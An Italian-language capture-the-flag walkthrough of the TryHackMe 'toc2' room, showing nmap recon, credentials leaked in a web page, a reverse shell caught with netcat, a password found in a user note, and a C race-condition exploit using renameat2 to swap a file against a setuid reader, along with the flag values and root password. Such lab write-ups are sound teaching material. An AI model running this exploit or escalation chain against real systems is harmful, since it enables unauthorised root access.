LINK ROOM: https://tryhackme.com/room/toc2

Descrizione:
Welcome,

In order to complete this room, you will need to connect to the TryHackMe OpenVPN, details for which can be found at: https://tryhackme.com/access.

Remember when deploying the virtual machine, it can take up to 5 minutes to properly boot up. Good luck, happy hacking.
⠀

USER FLAG:

Iniziamo subito con una scansione usando Nmap:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 84:4e:b1:49:31:22:94:84:83:97:91:72:cb:23:33:36 (RSA)
|   256 cc:32:19:3f:f5:b9:a4:d5:ac:32:0f:6e:f0:83:35:71 (ECDSA)
|_  256 bd:d8:00:be:49:b5:15:af:bf:d5:85:f7:3a:ab:d6:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/cmsms/cmsms-2.1.6-install.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Proviamo ad indagare sul CMS e vediamo la connessione alla pagina predefinita del servizio Web:

┌──(parrot㉿parrot)-[/data/toc2]
└─$ curl -s http://10.10.215.10/                

<!doctype html>
<title>Site Maintenance</title>
<style>
  body { text-align: center; padding: 150px; }
  h1 { font-size: 50px; }
  body { font: 20px Helvetica, sans-serif; color: #333; }
  article { display: block; text-align: left; width: 650px; margin: 0 auto; }
  a { color: #dc8100; text-decoration: none; }
  a:hover { color: #333; text-decoration: none; }
</style>

<article>
    <h1>Under Construction!</h1>
    <div>
        <p>Sorry for the inconvenience but management have once again asked for more than we can deliver. </p>
        
        <p>The web server isn't going to be ready for the web dev team to build on for another few days. Just in case anyone around here except me wants to do anything: cmsmsuser:devpass </p>
        <p>&mdash; Hunter</p>
    </div>
</article>

C'è anche un file robots.txt che rivela il nome di un database, cioè un URL di installazione CMS.

┌──(parrot㉿parrot)-[/data/toc2]
└─$ curl -s http://10.10.215.10/robots.txt 
User-agent: *
Disallow: /cmsms/cmsms-2.1.6-install.php
 
Note to self:
Tommorow, finish setting up the CMS, and that database, cmsmsdb, so the site's ready by Wednesday.

I risultati dell'OSINT sono stati:

URL: http://10.10.215.10/cmsms/cmsms-2.1.6-install.php
DB: cmsmsdb
Username: cmsmsuser
Password: devpass

Ora non ci resta altro che installare il file PHP, avviarlo come amministratore e fare revers shell!

┌──(parrot㉿parrot)-[/data/toc2/files]
└─$ nc -nlvp 4444       
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.215.10] 34964
Linux toc 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 11:51:53 up 18 min,  0 users,  load average: 1.08, 1.71, 1.47
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@toc:/home/frank$ cat user.txt 
cat user.txt
thm{63616d70657276616e206c696665}

⠀

ROOT FLAG:

Controllando nei vari file, l'utente ha salvato la password nelle note:

www-data@toc:/home/frank$ cat new_machine.txt
cat new_machine.txt
I'm gonna be switching computer after I get this web server setup done. The inventory team sent me a new Thinkpad, the password is "password". It's funny that the default password for all the work machines is something so simple...Hell I should probably change this one from it, ah well. I'm switching machines soon- it can wait.

www-data@toc:/home/frank/root_access$ su frank
su frank
Password: password

frank@toc:~/root_access$ id
id
uid=1000(frank) gid=1000(frank) groups=1000(frank),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)

C'è una cartella interessante chiamata root_access nel desktop dell'utente root:

frank@toc:~/root_access$ ll
ll
total 28
drwxr-xr-x 2 frank frank 4096 Jan 31 17:29 ./
drwxr-xr-x 5 frank frank 4096 Aug 18  2020 ../
-rwsr-xr-x 1 root  root  8704 Jan 31 17:29 readcreds*
-rw-r--r-- 1 root  root   656 Jan 31 12:44 readcreds.c
-rw------- 1 root  root    34 Aug 23  2020 root_password_backup

frank@toc:~/root_access$ cat readcreds.c
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
    int file_data; char buffer[256]; int size = 0;

    if(argc != 2) {
      printf("Binary to output the contents of credentials file \n ./readcreds [file] \n"); 
      exit(1);
    }

    if (!access(argv[1],R_OK)) {
      sleep(1);
      file_data = open(argv[1], O_RDONLY);
    } else {
      fprintf(stderr, "Cannot open %s \n", argv[1]);
      exit(1);
    }

    do {
        size = read(file_data, buffer, 256);
        write(1, buffer, size);
    } 
    
    while(size>0);

}

Ora possiamo avviare un attacco race condition:

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

frank@toc:~/root_access$ touch pwd
frank@toc:~/root_access$ ./rename pwd root_password_backup

www-data@toc:/home/frank/root_access$ su - root
su - root
Password: aloevera

root@toc:~# cat /root/root.txt
cat /root/root.txt
thm{7265616c6c696665}

⠀

USER FLAG:

ROOT FLAG:

RIASSUMENDO: